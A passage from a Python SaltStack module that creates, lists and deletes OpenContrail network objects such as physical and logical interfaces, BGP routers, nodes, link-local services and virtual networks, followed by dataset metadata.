physical_router_management_ip=management_ip,\n physical_router_dataplane_ip=dataplane_ip,\n physical_router_vendor_name=vendor_name,\n physical_router_product_name=product_name,\n physical_router_vnc_managed=vnc_managed,\n physical_router_junos_service_ports=junos_service_ports,\n )\n for agent in agents:\n vrouter = virtual_router_get(agent)\n vrouter_obj = vnc_client._object_read('virtual-router', id=vrouter[agent]['uuid'])\n prouter_obj.add_virtual_router(vrouter_obj)\n vnc_client.physical_router_create(prouter_obj)\n return \"Created\"\n\n\ndef physical_router_delete(name, **kwargs):\n '''\n Delete specific Contrail physical router\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' contrail.physical_router_delete router_name\n '''\n vnc_client = _auth(**kwargs)\n gsc_obj = _get_config(vnc_client)\n prouter_obj = PhysicalRouter(name, gsc_obj)\n if __opts__['test']:\n return \"Physical router \" + name + \" will be deleted\"\n vnc_client.physical_router_delete(\n fq_name=prouter_obj.get_fq_name())\n return \"Deleted\"\n\n\ndef physical_interface_list(**kwargs):\n '''\n Return a list of all Contrail physical interface\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' contrail.physical_interface_list\n '''\n ret = {}\n vnc_client = _auth(**kwargs)\n pinterface_objs = vnc_client._objects_list('physical-interface', detail=True)\n for pinterface_obj in pinterface_objs:\n ret[pinterface_obj.name] = {\n 'uuid': pinterface_obj._uuid,\n 'fq_name': pinterface_obj.fq_name,\n 'parent_type': pinterface_obj.parent_type,\n }\n\n return ret\n\n\ndef physical_interface_get(name, physical_router, **kwargs):\n '''\n Return a specific Contrail physical interface\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' contrail.physical_interface_get interface_name physical_router_name\n '''\n ret = {}\n vnc_client = _auth(**kwargs)\n pinterf_objs = vnc_client._objects_list('physical-interface', detail=True)\n for pinterf_obj in pinterf_objs:\n if name == pinterf_obj.name and physical_router in pinterf_obj.fq_name:\n ret[name] = pinterf_obj.__dict__\n if len(ret) == 0:\n return {'Error': 'Error in retrieving physical interface.'}\n return ret\n\n\ndef physical_interface_create(name, physical_router, **kwargs):\n '''\n Create specific Contrail physical interface\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' contrail.physical_interface_create ge-0/0/10 physical_router_name\n '''\n ret = {}\n vnc_client = _auth(**kwargs)\n gsc_obj = _get_config(vnc_client)\n pinterf_obj = physical_interface_get(name, physical_router, **kwargs)\n if 'Error' not in pinterf_obj:\n return {'OK': 'Physical interface ' + name + ' on ' + physical_router + ' already exists'}\n else:\n if __opts__['test']:\n return \"Physical interface \" + name + \" will be created\"\n prouter = physical_router_get(physical_router)\n prouter_obj = vnc_client._object_read('physical-router', id=prouter[physical_router]['_uuid'])\n pinterf_obj = PhysicalInterface(name, prouter_obj)\n vnc_client.physical_interface_create(pinterf_obj)\n return \"Created\"\n\n\ndef physical_interface_delete(name, physical_router, **kwargs):\n '''\n Delete specific Contrail physical interface\n\n CLI Example:\n .. code-block:: bash\n\n salt '*' contrail.physical_interface_delete ge-0/0/0 phr01\n '''\n vnc_client = _auth(**kwargs)\n gsc_obj = _get_config(vnc_client)\n piface = physical_interface_get(name, physical_router)\n if __opts__['test']:\n return \"Physical interface \" + name + \" will be deleted\"\n vnc_client.physical_interface_delete(id=piface[name]['_uuid'])\n return \"Deleted\"\n\n\ndef logical_interface_list(**kwargs):\n '''\n Return a list of all Contrail logical interfaces\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' contrail.logical_interface_list\n '''\n ret = []\n vnc_client = _auth(**kwargs)\n liface_objs = vnc_client._objects_list('logical-interface', detail=True)\n for liface_obj in liface_objs:\n ret.append({\n 'name': liface_obj.name,\n 'uuid': liface_obj._uuid,\n 'fq_name': liface_obj.fq_name,\n 'parent_type': liface_obj.parent_type,\n })\n return ret\n\n\ndef logical_interface_get(name, parent_names, parent_type=None, **kwargs):\n '''\n Return a specific Contrail logical interface\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' contrail.logical_interface_get ge-0/0/0.10 ['phr01']\n or\n salt '*' contrail.logical_interface_get ge-0/0/0.10 ['ge-0/0/0','phr01']\n or\n salt '*' contrail.logical_interface_get ge-0/0/0.10 ['phr01'] parent_type=physcal-interface\n '''\n ret = {}\n vnc_client = _auth(**kwargs)\n liface_objs = vnc_client._objects_list('logical-interface', detail=True)\n count = 0\n for liface_obj in liface_objs:\n if name == liface_obj.name and set(parent_names).issubset(liface_obj.fq_name):\n if parent_type and parent_type == liface_obj.parent_type:\n count += 1\n ret[liface_obj.name] = liface_obj.__dict__\n if not parent_type:\n count += 1\n ret[liface_obj.name] = liface_obj.__dict__\n if len(ret) == 0:\n return {'Error': 'Error in retrieving logical interface.'}\n if count > 1:\n return {\n 'Error': 'Error Was found more then one logical interface. Please put more parent_name or put parent_type to chose one of them.'}\n return ret\n\n\ndef logical_interface_create(name, parent_names, parent_type='physical-interface', vlan_tag=None, interface_type=\"l2\",\n vmis=None, **kwargs):\n '''\n Create specific Contrail logical interface\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' contrail.logical_interface_create ge-0/0/10.11 parent_names=\"['ge-0/0/0','phr1']\" parent_type=physical-interface vlan_tag=1025 interface_type=L2\n '''\n ret = {}\n vnc_client = _auth(**kwargs)\n gsc_obj = _get_config(vnc_client)\n\n liface_obj = logical_interface_get(name, parent_names, parent_type, **kwargs)\n if 'Error' not in liface_obj:\n return {'OK': 'Logical interface ' + name + ' already exists'}\n else:\n if __opts__['test']:\n return \"Logical interface \" + name + \" will be created\"\n parent_obj = None\n for router in parent_names:\n parent_router = physical_router_get(router)\n if 'Error' not in parent_router:\n parent_obj = vnc_client._object_read('physical-router', id=parent_router[router]['_uuid'])\n break\n if not parent_obj:\n return {'Error': 'Physical router have to be defined'}\n if parent_type == 'physical-interface':\n for interface in parent_names:\n parent_interface = physical_interface_get(interface, parent_obj.name)\n if 'Error' not in parent_interface:\n parent_obj = vnc_client._object_read('physical-interface', id=parent_interface[interface]['_uuid'])\n break\n if interface_type.lower() == \"l3\":\n return {'Error': \"Virtual Network have to be defined for L3 interface type\"}\n\n liface_obj = LogicalInterface(name, parent_obj, vlan_tag, interface_type.lower())\n\n for vmi_name, vmi in vmis.iteritems():\n vmi = vnc_client.virtual_machine_interface_read(\n fq_name=_get_fq_name(vnc_client, resource_name=vmi_name,\n project_name=kwargs.get('tenant', 'admin')))\n liface_obj.add_virtual_machine_interface(vmi)\n vnc_client.logical_interface_create(liface_obj)\n\n return \"Created\"\n\n\ndef logical_interface_delete(name, parent_names, parent_type=None, **kwargs):\n '''\n Delete specific Contrail logical interface\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' contrail.logical_interface_delete ge-0/0/0.12 ['ge-0/0/0','phr01']\n or\n salt '*' contrail.logical_interface_delete ge-0/0/0.12 ['phr01'] parent_type=physical-router\n\n '''\n vnc_client = _auth(**kwargs)\n gsc_obj = _get_config(vnc_client)\n liface = logical_interface_get(name, parent_names, parent_type)\n if 'Error' not in liface:\n if __opts__['test']:\n return \"Logical interface \" + name + \" will be deleted\"\n vnc_client.logical_interface_delete(id=liface[name]['_uuid'])\n return \"Deleted\"\n else:\n return liface\n\n\ndef global_vrouter_config_list(**kwargs):\n '''\n Return a list of all Contrail global vrouter configs\n\n CLI Example:\n\n .. code-block:: bash\"\n\n salt '*' global_vrouter_config_list\n '''\n ret = {}\n vnc_client = _auth(**kwargs)\n vrouter_conf_objs = vnc_client._objects_list('global-vrouter-config', detail=True)\n for vrouter_conf_obj in vrouter_conf_objs:\n ret[vrouter_conf_obj._display_name] = vrouter_conf_obj.__dict__\n return ret\n\n\ndef global_vrouter_config_get(name, **kwargs):\n '''\n Return a specific Contrail global vrouter config\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' contrail.global_vrouter_get global-vrouter-config\n '''\n ret = {}\n vrouter_conf_objs = global_vrouter_config_list(**kwargs)\n if name in vrouter_conf_objs:\n ret[name] = vrouter_conf_objs.get(name)\n if len(ret) == 0:\n return {'Error': 'Error in retrieving global vrouter config.'}\n return ret\n\n\ndef global_vrouter_config_create(name, parent_type, encap_priority, vxlan_vn_id_mode, *fq_names, **kwargs):\n '''\n Create specific Contrail global vrouter config\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' contrail.global_vrouter_config_create name=global-vrouter-config parent_type=global-system-config encap_priority=\"MPLSoUDP,MPLSoGRE\" vxlan_vn_id_mode=\"automatic\" fq_names=\"['default-global-system-config', 'default-global-vrouter-config']\"\n '''\n ret = {}\n vnc_client = _auth(**kwargs)\n gsc_obj = _get_config(vnc_client)\n vrouter_conf_objs = global_vrouter_config_list(**kwargs)\n if name in vrouter_conf_objs:\n return {'OK': 'Global vrouter config %s already exists' % name}\n else:\n vrouter_conf_obj = GlobalVrouterConfig(\n name=name,\n parent_obj=None,\n encapsulation_priorities=EncapsulationPrioritiesType(encapsulation=encap_priority.split(\",\")),\n fq_name=fq_names,\n vxlan_network_identifier_mode=vxlan_vn_id_mode,\n parent_type=parent_type,\n )\n if __opts__['test']:\n return \"Global vRouter config \" + name + \" will be created\"\n vnc_client.global_vrouter_config_create(vrouter_conf_obj)\n return \"Created\"\n\n\ndef global_vrouter_config_delete(name, **kwargs):\n '''\n Delete specific Contrail global vrouter config\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' contrail.global_vrouter_config_delete global-vrouter-config\n '''\n vnc_client = _auth(**kwargs)\n gsc_obj = _get_config(vnc_client)\n vrouter_conf_obj = GlobalVrouterConfig(name, gsc_obj)\n if __opts__['test']:\n return \"Global vRouter config \" + name + \" will be deleted\"\n vnc_client.global_vrouter_config_delete(\n fq_name=vrouter_conf_obj.get_fq_name())\n return \"Deleted\"\n\n\ndef analytics_node_list(**kwargs):\n '''\n Return a list of all Contrail analytics nodes\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' contrail.analytics_node_list\n '''\n ret = {}\n vnc_client = _auth(**kwargs)\n node_objs = vnc_client._objects_list('analytics-node', detail=True)\n for node_obj in node_objs:\n ret[node_obj.name] = node_obj.__dict__\n return ret\n\n\ndef analytics_node_get(name, **kwargs):\n '''\n Return a specific Contrail analytics node\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' contrail.analytics_node_get nal01\n '''\n ret = {}\n vrouter_objs = analytics_node_list(**kwargs)\n if name in vrouter_objs:\n ret[name] = vrouter_objs.get(name)\n if len(ret) == 0:\n return {'Error': 'Error in retrieving analytics node.'}\n return ret\n\n\ndef analytics_node_create(name, ip_address, **kwargs):\n '''\n Create specific Contrail analytics node\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' contrail.analytics_node_create ntw03 10.10.10.103\n '''\n ret = {}\n vnc_client = _auth(**kwargs)\n gsc_obj = _get_config(vnc_client)\n analytics_node_objs = analytics_node_list(**kwargs)\n if name in analytics_node_objs:\n return {'OK': 'Analytics node %s already exists' % name}\n else:\n analytics_node_obj = AnalyticsNode(\n name, gsc_obj,\n analytics_node_ip_address=ip_address)\n if __opts__['test']:\n return \"AnalyticsNode \" + name + \" will be created\"\n vnc_client.analytics_node_create(analytics_node_obj)\n return \"Created\"\n\n\ndef analytics_node_delete(name, **kwargs):\n '''\n Delete specific Contrail analytics node\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' contrail.analytics_node_delete cmp01\n '''\n vnc_client = _auth(**kwargs)\n gsc_obj = _get_config(vnc_client)\n analytics_node_obj = AnalyticsNode(name, gsc_obj)\n if __opts__['test']:\n return \"AnalyticsNode \" + name + \" will be deleted\"\n vnc_client.analytics_node_delete(\n fq_name=analytics_node_obj.get_fq_name())\n return \"Deleted\"\n\n\ndef config_node_list(**kwargs):\n '''\n Return a list of all Contrail config nodes\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' contrail.config_node_list\n '''\n ret = {}\n vnc_client = _auth(**kwargs)\n node_objs = vnc_client._objects_list('config-node', detail=True)\n for node_obj in node_objs:\n ret[node_obj.name] = node_obj.__dict__\n return ret\n\n\ndef config_node_get(name, **kwargs):\n '''\n Return a specific Contrail config node\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' contrail.config_node_get nal01\n '''\n ret = {}\n vrouter_objs = config_node_list(**kwargs)\n if name in vrouter_objs:\n ret[name] = vrouter_objs.get(name)\n if len(ret) == 0:\n return {'Error': 'Error in retrieving config node.'}\n return ret\n\n\ndef config_node_create(name, ip_address, **kwargs):\n '''\n Create specific Contrail config node\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' contrail.config_node_create ntw03 10.10.10.103\n '''\n ret = {}\n vnc_client = _auth(**kwargs)\n gsc_obj = _get_config(vnc_client)\n config_node_objs = config_node_list(**kwargs)\n if name in config_node_objs:\n return {'OK': 'Config node %s already exists' % name}\n else:\n config_node_obj = ConfigNode(\n name, gsc_obj,\n config_node_ip_address=ip_address)\n if __opts__['test']:\n return \"ConfigNode \" + name + \" will be created\"\n vnc_client.config_node_create(config_node_obj)\n return \"Created\"\n\n\ndef config_node_delete(name, **kwargs):\n '''\n Delete specific Contrail config node\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' contrail.config_node_delete cmp01\n '''\n vnc_client = _auth(**kwargs)\n gsc_obj = _get_config(vnc_client)\n config_node_obj = ConfigNode(name, gsc_obj)\n if __opts__['test']:\n return \"ConfigNode \" + name + \" will be deleted\"\n vnc_client.config_node_delete(\n fq_name=config_node_obj.get_fq_name())\n return \"Deleted\"\n\n\ndef bgp_router_list(**kwargs):\n '''\n Return a list of all Contrail BGP routers\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' contrail.bgp_router_list\n '''\n ret = {}\n vnc_client = _auth(**kwargs)\n bgp_router_objs = vnc_client._objects_list('bgp-router', detail=True)\n for bgp_router_obj in bgp_router_objs:\n ret[bgp_router_obj.name] = bgp_router_obj.__dict__\n return ret\n\n\ndef bgp_router_get(name, **kwargs):\n '''\n Return a specific Contrail BGP router\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' contrail.bgp_router_get nal01\n '''\n ret = {}\n bgp_router_objs = bgp_router_list(**kwargs)\n if name in bgp_router_objs:\n ret[name] = bgp_router_objs.get(name)\n if len(ret) == 0:\n return {'Error': 'Error in retrieving BGP router.'}\n return ret\n\n\ndef bgp_router_create(name, type, ip_address, asn=64512, **kwargs):\n '''\n Create specific Contrail control node\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' contrail.bgp_router_create ntw03 control-node 10.10.10.103\n salt '*' contrail.bgp_router_create mx01 router 10.10.10.105\n '''\n ret = {}\n vnc_client = _auth(**kwargs)\n\n address_families = ['route-target', 'inet-vpn', 'e-vpn', 'erm-vpn',\n 'inet6-vpn']\n if type != 'control-node':\n address_families.remove('erm-vpn')\n\n bgp_addr_fams = AddressFamilies(address_families)\n bgp_sess_attrs = [\n BgpSessionAttributes(address_families=bgp_addr_fams)]\n bgp_sessions = [BgpSession(attributes=bgp_sess_attrs)]\n bgp_peering_attrs = BgpPeeringAttributes(session=bgp_sessions)\n rt_inst_obj = _get_rt_inst_obj(vnc_client)\n\n if type == 'control-node':\n vendor = 'contrail'\n elif type == 'router':\n vendor = 'mx'\n else:\n vendor = 'unknown'\n\n router_params = BgpRouterParams(router_type=type,\n vendor=vendor, autonomous_system=int(asn),\n identifier=_get_ip(ip_address),\n address=_get_ip(ip_address),\n port=179, address_families=bgp_addr_fams)\n\n bgp_router_objs = bgp_router_list(**kwargs)\n if name in bgp_router_objs:\n bgp_router_obj = vnc_client._object_read('bgp-router', id=bgp_router_objs[name]['_uuid'])\n bgp_router_obj.set_bgp_router_parameters(router_params)\n if __opts__['test']:\n return \"BGP router \" + name + \" will be updated\"\n vnc_client.bgp_router_update(bgp_router_obj)\n else:\n bgp_router_obj = BgpRouter(name, rt_inst_obj, bgp_router_parameters=router_params)\n if __opts__['test']:\n return \"BGP router \" + name + \" will be created\"\n vnc_client.bgp_router_create(bgp_router_obj)\n return \"Created\"\n return {'OK': 'Config node %s already exists' % name}\n\n\ndef bgp_router_delete(name, **kwargs):\n '''\n Delete specific Contrail control node\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' contrail.bgp_router_delete mx01\n '''\n vnc_client = _auth(**kwargs)\n gsc_obj = _get_config(vnc_client)\n bgp_router_obj = BgpRouter(name, gsc_obj)\n\n if __opts__['test']:\n return \"BGP router \" + name + \" will be deleted\"\n vnc_client.bgp_router_delete(\n fq_name=bgp_router_obj.get_fq_name())\n\n return \"Deleted\"\n\n\ndef database_node_list(**kwargs):\n '''\n Return a list of all Contrail database nodes\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' contrail.database_node_list\n '''\n ret = {}\n vnc_client = _auth(**kwargs)\n node_objs = vnc_client._objects_list('database-node', detail=True)\n for node_obj in node_objs:\n ret[node_obj.name] = node_obj.__dict__\n return ret\n\n\ndef database_node_get(name, **kwargs):\n '''\n Return a specific Contrail database node\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' contrail.database_node_get nal01\n '''\n ret = {}\n vrouter_objs = database_node_list(**kwargs)\n if name in vrouter_objs:\n ret[name] = vrouter_objs.get(name)\n if len(ret) == 0:\n return {'Error': 'Error in retrieving database node.'}\n return ret\n\n\ndef database_node_create(name, ip_address, **kwargs):\n '''\n Create specific Contrail database node\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' contrail.database_node_create ntw03 10.10.10.103\n '''\n ret = {}\n vnc_client = _auth(**kwargs)\n gsc_obj = _get_config(vnc_client)\n database_node_objs = database_node_list(**kwargs)\n if name in database_node_objs:\n return {'OK': 'Database node %s already exists' % name}\n else:\n database_node_obj = DatabaseNode(\n name, gsc_obj,\n database_node_ip_address=ip_address)\n if __opts__['test']:\n return \"DatabaseNode \" + name + \" will be created\"\n vnc_client.database_node_create(database_node_obj)\n return \"Created\"\n\n\ndef database_node_delete(name, **kwargs):\n '''\n Delete specific Contrail database node\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' contrail.database_node_delete cmp01\n '''\n vnc_client = _auth(**kwargs)\n gsc_obj = _get_config(vnc_client)\n database_node_obj = DatabaseNode(name, gsc_obj)\n if __opts__['test']:\n return \"DatabaseNode \" + name + \" will be deleted\"\n vnc_client.database_node_delete(\n fq_name=database_node_obj.get_fq_name())\n\n\ndef _get_vrouter_config(vnc_client):\n try:\n config = vnc_client.global_vrouter_config_read(\n fq_name=['default-global-system-config', 'default-global-vrouter-config'])\n except Exception:\n config = None\n\n return config\n\n\ndef linklocal_service_list(**kwargs):\n '''\n Return a list of all Contrail link local services\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' contrail.linklocal_service_list\n '''\n ret = {}\n vnc_client = _auth(**kwargs)\n\n current_config = _get_vrouter_config(vnc_client)\n if current_config is None:\n return ret\n\n service_list_res = current_config.get_linklocal_services()\n if service_list_res is None:\n service_list_obj = {'linklocal_service_entry': []}\n else:\n service_list_obj = service_list_res.__dict__\n for _, value in service_list_obj.iteritems():\n for entry in value:\n service = entry.__dict__\n if 'linklocal_service_name' in service:\n ret[service['linklocal_service_name']] = service\n return ret\n\n\ndef linklocal_service_get(name, **kwargs):\n '''\n Return a specific Contrail link local service\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' contrail.linklocal_service_get llservice\n '''\n ret = {}\n services = linklocal_service_list(**kwargs)\n if name in services:\n ret[name] = services.get(name)\n if len(ret) == 0:\n return {'Error': 'Error in retrieving link local service \"{0}\"'.format(name)}\n return ret\n\n\ndef linklocal_service_create(name, lls_ip, lls_port, ipf_dns_or_ip, ipf_port, **kwargs):\n '''\n Create specific Contrail link local service\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' contrail.linklocal_service_create \\\n llservice 10.10.10.103 22 '[\"20.20.20.20\", \"30.30.30.30\"]' 22\n salt '*' contrail.linklocal_service_create \\\n llservice 10.10.10.103 22 link-local.service.dns-name 22\n '''\n ret = {}\n vnc_client = _auth(**kwargs)\n\n current_config = _get_vrouter_config(vnc_client)\n\n service_entry = LinklocalServiceEntryType(\n linklocal_service_name=name,\n linklocal_service_ip=lls_ip,\n linklocal_service_port=lls_port,\n ip_fabric_service_port=ipf_port)\n if isinstance(ipf_dns_or_ip, basestring):\n service_entry.ip_fabric_DNS_service_name = ipf_dns_or_ip\n elif isinstance(ipf_dns_or_ip, list):\n service_entry.ip_fabric_service_ip = ipf_dns_or_ip\n service_entry.ip_fabric_DNS_service_name = ''\n\n if current_config is None:\n new_services = LinklocalServicesTypes([service_entry])\n new_config = GlobalVrouterConfig(linklocal_services=new_services)\n if __opts__['test']:\n ret['GlobalVrouterConfig'] = \"Global vRouter Config will be created\"\n else:\n ret = \"Created\"\n vnc_client.global_vrouter_config_create(new_config)\n else:\n _current_service_list = current_config.get_linklocal_services()\n if _current_service_list is None:\n service_list = {'linklocal_service_entry': []}\n else:\n service_list = _current_service_list.__dict__\n new_services = [service_entry]\n for key, value in service_list.iteritems():\n if key != 'linklocal_service_entry':\n continue\n for _entry in value:\n entry = _entry.__dict__\n if 'linklocal_service_name' in entry:\n if entry['linklocal_service_name'] == name:\n return {'OK': 'Link local service \"{0}\" already exists'.format(name)}\n new_services.append(_entry)\n if __opts__['test']:\n ret['Test'] = \"LinkLocalSevices will be created\"\n service_list[key] = new_services\n new_config = GlobalVrouterConfig(linklocal_services=service_list)\n if __opts__['test']:\n ret['GlobalVrouterConfig'] = \"Global vRouter Config will be updated\"\n else:\n vnc_client.global_vrouter_config_update(new_config)\n ret = \"Created\"\n return ret\n\n\ndef linklocal_service_delete(name, **kwargs):\n '''\n Delete specific link local service entry\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' contrail.linklocal_service_delete llservice\n '''\n vnc_client = _auth(**kwargs)\n\n current_config = _get_vrouter_config(vnc_client)\n\n found = False\n if current_config is not None:\n _current_service_list = current_config.get_linklocal_services()\n if _current_service_list is None:\n service_list = {'linklocal_service_entry': []}\n else:\n service_list = _current_service_list.__dict__\n new_services = []\n for key, value in service_list.iteritems():\n if key != 'linklocal_service_entry':\n continue\n for _entry in value:\n entry = _entry.__dict__\n if 'linklocal_service_name' in entry:\n if entry['linklocal_service_name'] == name:\n found = True\n else:\n new_services.append(_entry)\n service_list[key] = new_services\n new_config = GlobalVrouterConfig(linklocal_services=service_list)\n if __opts__['test']:\n return \"Link local service \" + name + \" will be deleted\"\n vnc_client.global_vrouter_config_update(new_config)\n return \"Deleted\"\n if not found:\n return {'Error': 'Link local service \"{0}\" not found'.format(name)}\n\n\ndef virtual_machine_interface_list(**kwargs):\n '''\n Return a list of all Contrail virtual machine interfaces\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' contrail.virtual_machine_interfaces\n '''\n ret = []\n vnc_client = _auth(**kwargs)\n project = _get_project_obj(vnc_client, name=kwargs.get('tenant', 'admin'))\n project_uuid = project.get_uuid()\n\n vm_ifaces = vnc_client.virtual_machine_interfaces_list(\n detail=True, parent_id=project_uuid)\n\n for vm_iface in vm_ifaces:\n ret.append(vm_iface.__dict__)\n\n return ret\n\n\ndef virtual_machine_interface_create(name,\n virtual_network,\n mac_address=None,\n ip_address=None,\n security_group=None,\n **kwargs):\n '''\n Create specific Contrail virtual machine interface (Port)\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' contrail.virtual_machine_interface_create port01 net01 mac_address='01:02:03:04:05:06'\n router_types:\n - tor-agent\n - tor-service-node\n - embedded\n '''\n ret = {}\n vnc_client = _auth(**kwargs)\n project = _get_project_obj(vnc_client, name=kwargs.get('tenant', 'admin'))\n\n vm_int = VirtualMachineInterface(name, parent_obj=project)\n\n if mac_address:\n mac_address_obj = MacAddressesType([mac_address])\n vm_int.set_virtual_machine_interface_mac_addresses(mac_address_obj)\n\n if security_group:\n sgo = vnc_client.security_group_read(fq_name=_get_fq_name(\n vnc_client, security_group, kwargs.get('tenant', 'admin')))\n vm_int.set_security_group(sgo)\n\n vnet_uuid = virtual_network_get(virtual_network, **kwargs)[virtual_network]['_uuid']\n vnet_obj = vnc_client.virtual_network_read(id=vnet_uuid)\n vm_int.set_virtual_network(vnet_obj)\n\n vmi_uuid = vnc_client.virtual_machine_interface_create(vm_int)\n vmi = vnc_client.virtual_machine_interface_read(id=vmi_uuid)\n\n vm_int.set_port_security_enabled(False)\n vnc_client.virtual_machine_interface_update(vm_int)\n\n # Allocate IP to VMI\n ip = vnc_api.InstanceIp(name + '.ip')\n ip.set_virtual_machine_interface(vmi)\n ip.set_virtual_network(vnet_obj)\n\n ip_uuid = vnc_client.instance_ip_create(ip)\n\n if ip_address:\n ip.set_instance_ip_address(ip_address)\n vnc_client.instance_ip_update(ip)\n\n return vmi.__dict__\n\n\ndef virtual_network_list(**kwargs):\n '''\n Return a list of all Contrail virtual network\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' contrail.virtual_network\n '''\n\n ret = {}\n vnc_client = _auth(**kwargs)\n virtual_networks = vnc_client._objects_list('virtual-network', detail=True)\n for virtual_network in virtual_networks:\n ret[virtual_network.name] = virtual_network.__dict__\n return ret\n\n\ndef virtual_network_get(name, **kwargs):\n '''\n Return a specific Contrail virtual network\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' contrail.virtual_network_get net01\n '''\n ret = {}\n vnet_objs = virtual_network_list(**kwargs)\n if name in vnet_objs:\n ret[name] = vnet_objs.get(name)\n if len(ret) != 1:\n return {'result': False,\n 'Error': 'Error in retrieving virtual networks.'}\n return ret\n\n\ndef service_appliance_set_list(**kwargs):\n '''\n Return a list of Contrail service appliance set\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' contrail.service_appliance_set_list\n '''\n ret = {}\n vnc_client = _auth(**kwargs)\n service_appliance_sets = vnc_client._objects_list('service-appliance-set', detail=True)\n for service_appliance_set in service_appliance_sets:\n ret[service_appliance_set.name] = service_appliance_set.__dict__\n return ret\n\n\ndef service_appliance_set_get(name, **kwargs):\n '''\n Return a specific Contrail service appliance set\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' contrail.service_appliance_set_get name\n '''\n ret = {}\n sas_objs = service_appliance_set_list(**kwargs)\n if name in sas_objs:\n ret[name] = sas_objs.get(name)\n if len(ret) != 1:\n return {'result': False,\n 'Error': \"Error in the retrieving service apliance set.\"}\n return ret\n\n\ndef service_appliance_set_create(name, properties=None, driver=None, ha_mode=None, **kwargs):\n '''\n Create Contrail service appliance set\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' contrail.service_appliance_set_create name\n '''\n ret = {'name': name,\n 'changes': {},\n 'result': True,\n 'comment': ''}\n vnc_client = _auth(**kwargs)\n gsc_obj = _get_config(vnc_client)\n sas_objs = service_appliance_set_list(**kwargs)\n if name in sas_objs:\n ret['commnet'] = 'Service appliance set ' + name + ' already exists'\n else:\n service_appliance_set_obj = ServiceApplianceSet(\n name, gsc_obj)\n if properties:\n pairs = KeyValuePairs()\n for k, v in properties.items():\n pairs.add_key_value_pair(KeyValuePair(k, v))\n service_appliance_set_obj.set_service_appliance_set_properties(pairs)\n if driver:\n service_appliance_set_obj.set_service_appliance_driver(driver)\n if ha_mode:\n service_appliance_set_obj.set_service_appliance_ha_mode(ha_mode)\n if __opts__['test']:\n ret['result'] = None\n ret['comment'] = \"ServiceApplianceSet \" + name + \" will be created\"\n else:\n vnc_client.service_appliance_set_create(service_appliance_set_obj)\n ret['comment'] = \"ServiceApplianceSet \" + name + \" has been created\"\n ret['changes'] = {'ServiceApplianceSet': {'old': '', 'new': name}}\n return ret\n\n\ndef service_appliance_set_delete(name, **kwargs):\n '''\n Delete specific Contrail service appliance set\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' contrail.service_appliance_set_delete name\n '''\n ret = {'name': name,\n 'changes': {},\n 'result': True,\n 'comment': ''}\n vnc_client = _auth(**kwargs)\n gsc_obj = _get_config(vnc_client)\n sas_obj = ServiceApplianceSet(name, gsc_obj)\n if __opts__['test']:\n ret['result'] = None\n ret['comment'] = \"Service appliance set \" + name + \" will be deleted\"\n else:\n vnc_client.service_appliance_set_delete(fq_name=sas_obj.get_fq_name())\n ret['comment'] = \"ServiceApplianceSet \" + name + \" has been deleted\"\n ret['changes'] = {'ServiceApplianceSet': {'old': name, 'new': ''}}\n return ret\n", "sub_path": "_modules/contrail.py", "file_name": "contrail.py", "file_ext": "py", "file_size_in_byte": 45812, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "vnc_api.vnc_api.VncApi", "line_number": 60, "usage_type": "call"}, {"api_name": "vnc_api.vnc_api", "line_number": 60, "usage_type": "name"}, {"api_name": "vnc_api.vnc_api.NoIdError", "line_number": 70, "usage_type": "attribute"}, {"api_name": "vnc_api.vnc_api", "line_number": 70, "usage_type": "name"}, {"api_name": "netaddr.IPNetwork", "line_number": 101, "usage_type": "call"}, {"api_name": "vnc_api.gen.resource_client.VirtualRouter", "line_number": 190, "usage_type": "call"}, {"api_name": "vnc_api.gen.resource_client.VirtualRouter", "line_number": 214, "usage_type": "call"}, {"api_name": "vnc_api.vnc_api.PhysicalRouter", "line_number": 335, "usage_type": "call"}, {"api_name": "vnc_api.vnc_api.PhysicalRouter", "line_number": 365, "usage_type": "call"}, {"api_name": "vnc_api.vnc_api.PhysicalInterface", "line_number": 438, "usage_type": "call"}, {"api_name": "vnc_api.vnc_api.LogicalInterface", "line_number": 556, "usage_type": "call"}, {"api_name": "vnc_api.vnc_api.GlobalVrouterConfig", "line_number": 647, "usage_type": "call"}, {"api_name": "vnc_api.vnc_api.EncapsulationPrioritiesType", "line_number": 650, "usage_type": "call"}, {"api_name": "vnc_api.vnc_api.GlobalVrouterConfig", "line_number": 673, "usage_type": "call"}, {"api_name": 